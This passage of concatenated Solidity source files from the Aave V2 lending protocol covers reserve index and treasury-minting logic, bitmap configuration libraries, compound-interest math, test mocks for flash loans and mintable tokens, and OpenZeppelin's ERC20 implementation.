vars.newLiquidityRate, vars.newStableRate, vars.newVariableRate, reserve.liquidityIndex, reserve.variableBorrowIndex ); } struct MintToTreasuryLocalVars { uint256 currentStableDebt; uint256 principalStableDebt; uint256 previousStableDebt; uint256 currentVariableDebt; uint256 previousVariableDebt; uint256 avgStableRate; uint256 cumulatedStableInterest; uint256 totalDebtAccrued; uint256 amountToMint; uint256 reserveFactor; uint40 stableSupplyUpdatedTimestamp; } /** * @dev Mints part of the repaid interest to the reserve treasury as a function of the reserveFactor for the * specific asset. * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The current scaled total variable debt * @param previousVariableBorrowIndex The variable borrow index before the last accumulation of the interest * @param newLiquidityIndex The new liquidity index * @param newVariableBorrowIndex The variable borrow index after the last accumulation of the interest **/ function _mintToTreasury( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 previousVariableBorrowIndex, uint256 newLiquidityIndex, uint256 newVariableBorrowIndex, uint40 timestamp ) internal { MintToTreasuryLocalVars memory vars; vars.reserveFactor = reserve.configuration.getReserveFactor(); if (vars.reserveFactor == 0) { return; } //fetching the principal, total stable debt and the avg stable rate ( vars.principalStableDebt, vars.currentStableDebt, vars.avgStableRate, vars.stableSupplyUpdatedTimestamp ) = IStableDebtToken(reserve.stableDebtTokenAddress).getSupplyData(); //calculate the last principal variable debt vars.previousVariableDebt = scaledVariableDebt.rayMul(previousVariableBorrowIndex); //calculate the new total supply after accumulation of the index vars.currentVariableDebt = scaledVariableDebt.rayMul(newVariableBorrowIndex); //calculate the stable debt until the last timestamp update vars.cumulatedStableInterest = MathUtils.calculateCompoundedInterest( vars.avgStableRate, vars.stableSupplyUpdatedTimestamp, timestamp ); vars.previousStableDebt = vars.principalStableDebt.rayMul(vars.cumulatedStableInterest); //debt accrued is the sum of the current debt minus the sum of the debt at the last update vars.totalDebtAccrued = vars .currentVariableDebt .add(vars.currentStableDebt) .sub(vars.previousVariableDebt) .sub(vars.previousStableDebt); vars.amountToMint = vars.totalDebtAccrued.percentMul(vars.reserveFactor); if (vars.amountToMint != 0) { IAToken(reserve.aTokenAddress).mintToTreasury(vars.amountToMint, newLiquidityIndex); } } /** * @dev Updates the reserve indexes and the timestamp of the update * @param reserve The reserve reserve to be updated * @param scaledVariableDebt The scaled variable debt * @param liquidityIndex The last stored liquidity index * @param variableBorrowIndex The last stored variable borrow index **/ function _updateIndexes( DataTypes.ReserveData storage reserve, uint256 scaledVariableDebt, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 timestamp ) internal returns (uint256, uint256) { uint256 currentLiquidityRate = reserve.currentLiquidityRate; uint256 newLiquidityIndex = liquidityIndex; uint256 newVariableBorrowIndex = variableBorrowIndex; //only cumulating if there is any income being produced if (currentLiquidityRate > 0) { uint256 cumulatedLiquidityInterest = MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp); newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex); require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW); reserve.liquidityIndex = uint128(newLiquidityIndex); //as the liquidity rate might come only from stable rate loans, we need to ensure //that there is actual variable debt before accumulating if (scaledVariableDebt != 0) { uint256 cumulatedVariableBorrowInterest = MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp); newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex); require( newVariableBorrowIndex <= type(uint128).max, Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW ); reserve.variableBorrowIndex = uint128(newVariableBorrowIndex); } } //solium-disable-next-line reserve.lastUpdateTimestamp = uint40(block.timestamp); return (newLiquidityIndex, newVariableBorrowIndex); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title ReserveConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the reserve configuration */ library ReserveConfiguration { uint256 constant LTV_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000; // prettier-ignore uint256 constant LIQUIDATION_THRESHOLD_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFF; // prettier-ignore uint256 constant LIQUIDATION_BONUS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFF; // prettier-ignore uint256 constant DECIMALS_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00FFFFFFFFFFFF; // prettier-ignore uint256 constant ACTIVE_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFF; // prettier-ignore uint256 constant FROZEN_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFFFFFFFF; // prettier-ignore uint256 constant BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBFFFFFFFFFFFFFF; // prettier-ignore uint256 constant STABLE_BORROWING_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7FFFFFFFFFFFFFF; // prettier-ignore uint256 constant RESERVE_FACTOR_MASK = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF0000FFFFFFFFFFFFFFFF; // prettier-ignore /// @dev For the LTV, the start bit is 0 (up to 15), hence no bitshifting is needed uint256 constant LIQUIDATION_THRESHOLD_START_BIT_POSITION = 16; uint256 constant LIQUIDATION_BONUS_START_BIT_POSITION = 32; uint256 constant RESERVE_DECIMALS_START_BIT_POSITION = 48; uint256 constant IS_ACTIVE_START_BIT_POSITION = 56; uint256 constant IS_FROZEN_START_BIT_POSITION = 57; uint256 constant BORROWING_ENABLED_START_BIT_POSITION = 58; uint256 constant STABLE_BORROWING_ENABLED_START_BIT_POSITION = 59; uint256 constant RESERVE_FACTOR_START_BIT_POSITION = 64; uint256 constant MAX_VALID_LTV = 65535; uint256 constant MAX_VALID_LIQUIDATION_THRESHOLD = 65535; uint256 constant MAX_VALID_LIQUIDATION_BONUS = 65535; uint256 constant MAX_VALID_DECIMALS = 255; uint256 constant MAX_VALID_RESERVE_FACTOR = 65535; /** * @dev Sets the Loan to Value of the reserve * @param self The reserve configuration * @param ltv the new ltv **/ function setLtv(DataTypes.ReserveConfigurationMap memory self, uint256 ltv) internal pure { require(ltv <= MAX_VALID_LTV, Errors.RC_INVALID_LTV); self.data = (self.data & LTV_MASK) | ltv; } /** * @dev Gets the Loan to Value of the reserve * @param self The reserve configuration * @return The loan to value **/ function getLtv(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return self.data & ~LTV_MASK; } /** * @dev Sets the liquidation threshold of the reserve * @param self The reserve configuration * @param threshold The new liquidation threshold **/ function setLiquidationThreshold(DataTypes.ReserveConfigurationMap memory self, uint256 threshold) internal pure { require(threshold <= MAX_VALID_LIQUIDATION_THRESHOLD, Errors.RC_INVALID_LIQ_THRESHOLD); self.data = (self.data & LIQUIDATION_THRESHOLD_MASK) | (threshold << LIQUIDATION_THRESHOLD_START_BIT_POSITION); } /** * @dev Gets the liquidation threshold of the reserve * @param self The reserve configuration * @return The liquidation threshold **/ function getLiquidationThreshold(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION; } /** * @dev Sets the liquidation bonus of the reserve * @param self The reserve configuration * @param bonus The new liquidation bonus **/ function setLiquidationBonus(DataTypes.ReserveConfigurationMap memory self, uint256 bonus) internal pure { require(bonus <= MAX_VALID_LIQUIDATION_BONUS, Errors.RC_INVALID_LIQ_BONUS); self.data = (self.data & LIQUIDATION_BONUS_MASK) | (bonus << LIQUIDATION_BONUS_START_BIT_POSITION); } /** * @dev Gets the liquidation bonus of the reserve * @param self The reserve configuration * @return The liquidation bonus **/ function getLiquidationBonus(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION; } /** * @dev Sets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @param decimals The decimals **/ function setDecimals(DataTypes.ReserveConfigurationMap memory self, uint256 decimals) internal pure { require(decimals <= MAX_VALID_DECIMALS, Errors.RC_INVALID_DECIMALS); self.data = (self.data & DECIMALS_MASK) | (decimals << RESERVE_DECIMALS_START_BIT_POSITION); } /** * @dev Gets the decimals of the underlying asset of the reserve * @param self The reserve configuration * @return The decimals of the asset **/ function getDecimals(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION; } /** * @dev Sets the active state of the reserve * @param self The reserve configuration * @param active The active state **/ function setActive(DataTypes.ReserveConfigurationMap memory self, bool active) internal pure { self.data = (self.data & ACTIVE_MASK) | (uint256(active ? 1 : 0) << IS_ACTIVE_START_BIT_POSITION); } /** * @dev Gets the active state of the reserve * @param self The reserve configuration * @return The active state **/ function getActive(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~ACTIVE_MASK) != 0; } /** * @dev Sets the frozen state of the reserve * @param self The reserve configuration * @param frozen The frozen state **/ function setFrozen(DataTypes.ReserveConfigurationMap memory self, bool frozen) internal pure { self.data = (self.data & FROZEN_MASK) | (uint256(frozen ? 1 : 0) << IS_FROZEN_START_BIT_POSITION); } /** * @dev Gets the frozen state of the reserve * @param self The reserve configuration * @return The frozen state **/ function getFrozen(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~FROZEN_MASK) != 0; } /** * @dev Enables or disables borrowing on the reserve * @param self The reserve configuration * @param enabled True if the borrowing needs to be enabled, false otherwise **/ function setBorrowingEnabled(DataTypes.ReserveConfigurationMap memory self, bool enabled) internal pure { self.data = (self.data & BORROWING_MASK) | (uint256(enabled ? 1 : 0) << BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the borrowing state of the reserve * @param self The reserve configuration * @return The borrowing state **/ function getBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~BORROWING_MASK) != 0; } /** * @dev Enables or disables stable rate borrowing on the reserve * @param self The reserve configuration * @param enabled True if the stable rate borrowing needs to be enabled, false otherwise **/ function setStableRateBorrowingEnabled( DataTypes.ReserveConfigurationMap memory self, bool enabled ) internal pure { self.data = (self.data & STABLE_BORROWING_MASK) | (uint256(enabled ? 1 : 0) << STABLE_BORROWING_ENABLED_START_BIT_POSITION); } /** * @dev Gets the stable rate borrowing state of the reserve * @param self The reserve configuration * @return The stable rate borrowing state **/ function getStableRateBorrowingEnabled(DataTypes.ReserveConfigurationMap storage self) internal view returns (bool) { return (self.data & ~STABLE_BORROWING_MASK) != 0; } /** * @dev Sets the reserve factor of the reserve * @param self The reserve configuration * @param reserveFactor The reserve factor **/ function setReserveFactor(DataTypes.ReserveConfigurationMap memory self, uint256 reserveFactor) internal pure { require(reserveFactor <= MAX_VALID_RESERVE_FACTOR, Errors.RC_INVALID_RESERVE_FACTOR); self.data = (self.data & RESERVE_FACTOR_MASK) | (reserveFactor << RESERVE_FACTOR_START_BIT_POSITION); } /** * @dev Gets the reserve factor of the reserve * @param self The reserve configuration * @return The reserve factor **/ function getReserveFactor(DataTypes.ReserveConfigurationMap storage self) internal view returns (uint256) { return (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION; } /** * @dev Gets the configuration flags of the reserve * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlags(DataTypes.ReserveConfigurationMap storage self) internal view returns ( bool, bool, bool, bool ) { uint256 dataLocal = self.data; return ( (dataLocal & ~ACTIVE_MASK) != 0, (dataLocal & ~FROZEN_MASK) != 0, (dataLocal & ~BORROWING_MASK) != 0, (dataLocal & ~STABLE_BORROWING_MASK) != 0 ); } /** * @dev Gets the configuration paramters of the reserve * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParams(DataTypes.ReserveConfigurationMap storage self) internal view returns ( uint256, uint256, uint256, uint256, uint256 ) { uint256 dataLocal = self.data; return ( dataLocal & ~LTV_MASK, (dataLocal & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (dataLocal & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (dataLocal & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (dataLocal & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration paramters of the reserve from a memory object * @param self The reserve configuration * @return The state params representing ltv, liquidation threshold, liquidation bonus, the reserve decimals **/ function getParamsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( uint256, uint256, uint256, uint256, uint256 ) { return ( self.data & ~LTV_MASK, (self.data & ~LIQUIDATION_THRESHOLD_MASK) >> LIQUIDATION_THRESHOLD_START_BIT_POSITION, (self.data & ~LIQUIDATION_BONUS_MASK) >> LIQUIDATION_BONUS_START_BIT_POSITION, (self.data & ~DECIMALS_MASK) >> RESERVE_DECIMALS_START_BIT_POSITION, (self.data & ~RESERVE_FACTOR_MASK) >> RESERVE_FACTOR_START_BIT_POSITION ); } /** * @dev Gets the configuration flags of the reserve from a memory object * @param self The reserve configuration * @return The state flags representing active, frozen, borrowing enabled, stableRateBorrowing enabled **/ function getFlagsMemory(DataTypes.ReserveConfigurationMap memory self) internal pure returns ( bool, bool, bool, bool ) { return ( (self.data & ~ACTIVE_MASK) != 0, (self.data & ~FROZEN_MASK) != 0, (self.data & ~BORROWING_MASK) != 0, (self.data & ~STABLE_BORROWING_MASK) != 0 ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Errors} from '../helpers/Errors.sol'; import {DataTypes} from '../types/DataTypes.sol'; /** * @title UserConfiguration library * @author Aave * @notice Implements the bitmap logic to handle the user configuration */ library UserConfiguration { uint256 internal constant BORROWING_MASK = 0x5555555555555555555555555555555555555555555555555555555555555555; /** * @dev Sets if the user is borrowing the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param borrowing True if the user is borrowing the reserve, false otherwise **/ function setBorrowing( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool borrowing ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2))) | (uint256(borrowing ? 1 : 0) << (reserveIndex * 2)); } /** * @dev Sets if the user is using as collateral the reserve identified by reserveIndex * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @param usingAsCollateral True if the user is usin the reserve as collateral, false otherwise **/ function setUsingAsCollateral( DataTypes.UserConfigurationMap storage self, uint256 reserveIndex, bool usingAsCollateral ) internal { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); self.data = (self.data & ~(1 << (reserveIndex * 2 + 1))) | (uint256(usingAsCollateral ? 1 : 0) << (reserveIndex * 2 + 1)); } /** * @dev Used to validate if a user has been using the reserve for borrowing or as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing or as collateral, false otherwise **/ function isUsingAsCollateralOrBorrowing( DataTypes.UserConfigurationMap memory self, uint256 reserveIndex ) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 3 != 0; } /** * @dev Used to validate if a user has been using the reserve for borrowing * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve for borrowing, false otherwise **/ function isBorrowing(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2)) & 1 != 0; } /** * @dev Used to validate if a user has been using the reserve as collateral * @param self The configuration object * @param reserveIndex The index of the reserve in the bitmap * @return True if the user has been using a reserve as collateral, false otherwise **/ function isUsingAsCollateral(DataTypes.UserConfigurationMap memory self, uint256 reserveIndex) internal pure returns (bool) { require(reserveIndex < 128, Errors.UL_INVALID_INDEX); return (self.data >> (reserveIndex * 2 + 1)) & 1 != 0; } /** * @dev Used to validate if a user has been borrowing from any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isBorrowingAny(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data & BORROWING_MASK != 0; } /** * @dev Used to validate if a user has not been using any reserve * @param self The configuration object * @return True if the user has been borrowing any reserve, false otherwise **/ function isEmpty(DataTypes.UserConfigurationMap memory self) internal pure returns (bool) { return self.data == 0; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title IReserveInterestRateStrategyInterface interface * @dev Interface for the calculation of the interest rates * @author Aave */ interface IReserveInterestRateStrategy { function baseVariableBorrowRate() external view returns (uint256); function getMaxVariableBorrowRate() external view returns (uint256); function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256, uint256, uint256 ); function calculateInterestRates( address reserve, address aToken, uint256 liquidityAdded, uint256 liquidityTaken, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view returns ( uint256 liquidityRate, uint256 stableBorrowRate, uint256 variableBorrowRate ); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {WadRayMath} from './WadRayMath.sol'; library MathUtils { using SafeMath for uint256; using WadRayMath for uint256; /// @dev Ignoring leap years uint256 internal constant SECONDS_PER_YEAR = 365 days; /** * @dev Function to calculate the interest accumulated using a linear interest rate formula * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate linearly accumulated during the timeDelta, in ray **/ function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { //solium-disable-next-line uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp)); return (rate.mul(timeDifference) / SECONDS_PER_YEAR).add(WadRayMath.ray()); } /** * @dev Function to calculate the interest using a compounded interest rate formula * To avoid expensive exponentiation, the calculation is performed using a binomial approximation: * * (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3... * * The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions * The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods * * @param rate The interest rate, in ray * @param lastUpdateTimestamp The timestamp of the last update of the interest * @return The interest rate compounded during the timeDelta, in ray **/ function calculateCompoundedInterest( uint256 rate, uint40 lastUpdateTimestamp, uint256 currentTimestamp ) internal pure returns (uint256) { //solium-disable-next-line uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp)); if (exp == 0) { return WadRayMath.ray(); } uint256 expMinusOne = exp - 1; uint256 expMinusTwo = exp > 2 ? exp - 2 : 0; uint256 ratePerSecond = rate / SECONDS_PER_YEAR; uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond); uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond); uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2; uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6; return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm); } /** * @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp * @param rate The interest rate (in ray) * @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated **/ function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp) internal view returns (uint256) { return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {FlashLoanReceiverBase} from '../../flashloan/base/FlashLoanReceiverBase.sol'; import {MintableERC20} from '../tokens/MintableERC20.sol'; import {SafeERC20} from '../../dependencies/openzeppelin/contracts/SafeERC20.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; contract MockFlashLoanReceiver is FlashLoanReceiverBase { using SafeERC20 for IERC20; ILendingPoolAddressesProvider internal _provider; event ExecutedWithFail(address[] _assets, uint256[] _amounts, uint256[] _premiums); event ExecutedWithSuccess(address[] _assets, uint256[] _amounts, uint256[] _premiums); bool _failExecution; uint256 _amountToApprove; bool _simulateEOA; constructor(ILendingPoolAddressesProvider provider) public FlashLoanReceiverBase(provider) {} function setFailExecutionTransfer(bool fail) public { _failExecution = fail; } function setAmountToApprove(uint256 amountToApprove) public { _amountToApprove = amountToApprove; } function setSimulateEOA(bool flag) public { _simulateEOA = flag; } function amountToApprove() public view returns (uint256) { return _amountToApprove; } function simulateEOA() public view returns (bool) { return _simulateEOA; } function executeOperation( address[] memory assets, uint256[] memory amounts, uint256[] memory premiums, address initiator, bytes memory params ) public override returns (bool) { params; initiator; if (_failExecution) { emit ExecutedWithFail(assets, amounts, premiums); return !_simulateEOA; } for (uint256 i = 0; i < assets.length; i++) { //mint to this contract the specific amount MintableERC20 token = MintableERC20(assets[i]); //check the contract has the specified balance require( amounts[i] <= IERC20(assets[i]).balanceOf(address(this)), 'Invalid balance for the contract' ); uint256 amountToReturn = (_amountToApprove != 0) ? _amountToApprove : amounts[i].add(premiums[i]); //execution does not fail - mint tokens and return them to the _destination token.mint(premiums[i]); IERC20(assets[i]).approve(address(LENDING_POOL), amountToReturn); } emit ExecutedWithSuccess(assets, amounts, premiums); return true; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ERC20} from '../../dependencies/openzeppelin/contracts/ERC20.sol'; /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract MintableERC20 is ERC20 { constructor( string memory name, string memory symbol, uint8 decimals ) public ERC20(name, symbol) { _setupDecimals(decimals); } /** * @dev Function to mint tokens * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(uint256 value) public returns (bool) { _mint(_msgSender(), value); return true; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import './Context.sol'; import './IERC20.sol'; import './SafeMath.sol'; import './Address.sol'; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor(string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), 'ERC20: transfer from the zero address'); require(recipient != address(0), 'ERC20: transfer to the zero address'); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, 'ERC20: transfer amount exceeds balance'); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: mint to the zero address'); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), 'ERC20: burn from the zero address'); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, 'ERC20: burn amount exceeds balance'); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; 